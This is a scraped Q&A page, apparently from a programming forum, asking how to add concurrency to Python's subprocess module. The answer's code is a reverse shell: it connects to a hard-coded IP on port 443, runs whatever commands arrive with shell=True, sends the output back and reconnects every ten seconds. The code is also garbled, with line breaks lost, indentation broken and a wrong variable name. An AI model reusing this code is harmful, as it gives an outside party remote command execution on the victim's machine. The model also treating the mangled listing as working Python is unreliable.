Concurrency with subprocess module. How can I do this? Concurrency with subprocess module. How can I do this? python-3.x python-3.x

Concurrency with subprocess module. How can I do this?


Try something like:

import socketimport timeimport subprocessimport selectIP = '192.168.1.33'PORT = 443def connect(IP,PORT):    try:        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.connect((IP,PORT))        s.send('[!] Conexao recebida\n')    return sexcept Exception as e:    print('Erro de conexao',e )    return Nonedef listen(s):    try:        # Create a polling object and register socket with it        socket_poll = select.poll()        socket_poll.register(s)        # Create a list of running processes        processes = []        while True:            # If no data is available on the socket, we can use the time to clean up processes which are finished            if not socket_poll.poll(1):                for process in tuple(processes):                    if process.poll():                        s.send(proc.stdout.read() + proc.stderr.read())                        processes.remove(process)                continue            data = s.recv(1024)            if data[:-1] == '/exit':                s.close()                exit(0)            else:                cmd(s, data, processes)    except:        main(s)def cmd(s, data, processes):    try:            proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)        # Add new process to the list        processes.append(proc)    except:        main(s)def main(s):    if s:        s.close()    while True:        s_connected = connect(IP,PORT)        if s_connected:            listen(s_connected)        else:            time.sleep(10)s = Nonemain(s)

Sorry for removing Spanish comments ;)